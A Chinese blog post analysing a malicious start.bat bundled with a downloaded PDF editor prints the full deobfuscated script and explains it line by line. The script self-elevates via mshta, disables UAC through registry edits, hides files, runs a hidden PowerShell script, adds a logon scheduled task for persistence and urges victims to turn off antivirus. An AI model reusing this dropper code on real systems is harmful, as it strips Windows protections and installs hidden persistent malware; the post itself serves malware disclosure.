记录一次病毒启动脚本

在第一次下载软件时,目录中配了一个使用说明,说是需要通过start.bat 这个文件来启动程序,而这个 start.bat 就是始作俑者:

病毒作者比较狡猾,其中start.bat 用记事本打开是乱码,但是可以通过将这个批处理文件的扩展名改为.doc,然后双击就用word打开了,因为这个批处理加密是利用混淆编码的原理加密的,而word能识别很多编码,所以用word打开就可以看到真容了,打开文件,完整的的病毒启动内容脚本如下:

bash 复制代码
@echo off

PUSHD %~DP0 & cd /d "%~dp0"
%1 %2

mshta vbscript:createobject("shell.application").shellexecute("%~s0","goto :target","","runas",1)(window.close)&goto :eof
:target

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F >nul 2>nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F >nul 2>nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F >nul 2>nul

cd /d bin 
attrib +s +h PDFeditorPortable.exe

cd /d re\lib

start powershell -windowstyle hidden .\add.ps1 >nul 2>nul

for /f %%i in ('dir/s/b/a-d^|find /c /v ".*"') do set f=%%i

if %f% equ 5 (
	cd ..
	cd ..
	start PDFeditorPortable.exe
	cd re\lib
	SchTasks /Create /SC ONLOGON /delay 0005:00 /TN "CrashReporting" /TR "%CD%\CrashReporting.bat" /f >nul 2>nul

) else (
    echo=
	echo 运行过程被杀软干扰,可通过以下方法恢复:
    echo=
	echo 1、检查是否被杀毒软件隔离,如被隔离,请恢复并添加进信任区后再运行软件
	echo=
	echo 2、方法1如果不行,请关闭杀软,重新解压原本压缩文件,再运行软件
	echo=
	pause
)


setlocal enabledelayedexpansion
set line=0
for /f  %%a in ('wmic cpu get NumberOfLogicalProcessors') do (
set /a line+=1
if !line!==2 set A=%%a
)

set /a B = %A% / 2

set fn=CrashReporting2.bat >nul 2>nul
(for /f "tokens=*" %%i in (%fn%) do (
set s=%%i
set s=!s:20=%B%!
echo !s!))>temp1126.txt
move /y temp1126.txt "%fn%" >nul 2>nul

call CrashReporting2.bat

exit

这段代码是一个 Windows 批处理脚本,主要用于修改系统注册表设置、启动程序并处理一些与安全相关的配置。以下是对代码的逐行解释:

代码解析

  1. @echo off: 关闭命令行窗口中的命令回显,使得执行时不显示每个命令的内容。

  2. PUSHD %~DP0 & cd /d "%~dp0":

    • PUSHD %~DP0:将当前目录更改为脚本所在的目录。
    • cd /d "%~dp0":确保切换到该目录。
  3. %1 %2: 执行传递给脚本的第一个和第二个参数。

  4. mshta vbscript:createobject("shell.application").shellexecute("%~s0","goto :target","","runas",1)(window.close)&goto :eof:

    • 使用 mshta 运行 VBScript,以管理员权限重新执行当前脚本,并跳转到 :target 标签。
    • window.close 在执行后关闭窗口。
    • &goto :eof 确保脚本在此处结束,不继续执行后面的代码。
  5. :target: 标签,后面的代码将在跳转到此标签时执行。

  6. 修改注册表:

    • reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F >nul 2>nul:
      • 将管理员的用户帐户控制 (UAC) 提示行为设置为 0(关闭提示)。
    • reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F >nul 2>nul:
      • 禁用用户帐户控制 (UAC)。
    • reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F >nul 2>nul:
      • 关闭安全桌面上的提示。
  7. cd /d bin : 切换到 bin 目录。

  8. attrib +s +h PDFeditorPortable.exe : 将 PDFeditorPortable.exe 文件设置为系统文件和隐藏文件。

  9. cd /d re\lib : 切换到 re\lib 目录。

  10. start powershell -windowstyle hidden .\add.ps1 >nul 2>nul:

    • 在隐藏窗口中启动一个 PowerShell 脚本 add.ps1,并将输出重定向到空设备。
  11. for /f %%i in ('dir/s/b/a-d^|find /c /v ".*"') do set f=%%i:

    • 计算当前目录及子目录下的文件数量,并将结果存储在变量 f 中。
  12. 条件判断:

    • if %f% equ 5 (...) else (...): 如果文件数量等于 5,则执行括号内的命令,否则执行 else 部分。
    • 如果文件数量为 5,切换到上级目录,启动 PDFeditorPortable.exe,并创建一个名为 CrashReporting 的计划任务。
    • 如果文件数量不为 5,输出提示信息,建议用户检查杀毒软件的干扰。
  13. 获取逻辑处理器数量:

    • 通过 wmic cpu get NumberOfLogicalProcessors 获取逻辑处理器数量,并将其存储在变量 A 中。
    • 计算 BA 的一半。
  14. 更新 CrashReporting2.bat 文件:

    • CrashReporting2.bat 文件中的某些内容替换为计算得到的 B 值,并将结果输出到临时文件 temp1126.txt 中,最后移动回原文件。
  15. 调用 CrashReporting2.bat : 执行 CrashReporting2.bat 文件。

  16. exit: 结束批处理脚本的执行。

总结

这个批处理脚本的主要功能是:

  • 修改系统的 UAC 设置以降低安全性。
  • 启动和配置某个 PDF 编辑器。
  • 处理文件数量检查,确保程序正常运行。
  • 更新并执行一个名为 CrashReporting2.bat 的脚本。

由于涉及到 UAC 设置的修改,这段代码可能会被安全软件标记为潜在的恶意行为。关于病毒具体执行了什么,可以参见这篇博文:https://mp.csdn.net/mp_blog/creation/success/142697281

相关推荐
‘’林花谢了春红‘’27 分钟前
C++ list (链表)容器
c++·链表·list
九鼎科技-Leo2 小时前
什么是 WPF 中的依赖属性?有什么作用?
windows·c#·.net·wpf
黑客Ash2 小时前
【D01】网络安全概论
网络·安全·web安全·php
机器视觉知识推荐、就业指导2 小时前
C++设计模式:建造者模式(Builder) 房屋建造案例
c++
为什么每天的风都这么大3 小时前
Vscode/Code-server无网环境安装通义灵码
ide·vscode·阿里云·编辑器·ai编程·code-server
阿龟在奔跑4 小时前
引用类型的局部变量线程安全问题分析——以多线程对方法局部变量List类型对象实例的add、remove操作为例
java·jvm·安全·list
.Ayang4 小时前
SSRF漏洞利用
网络·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
.Ayang4 小时前
SSRF 漏洞全解析(概述、攻击流程、危害、挖掘与相关函数)
安全·web安全·网络安全·系统安全·网络攻击模型·安全威胁分析·安全架构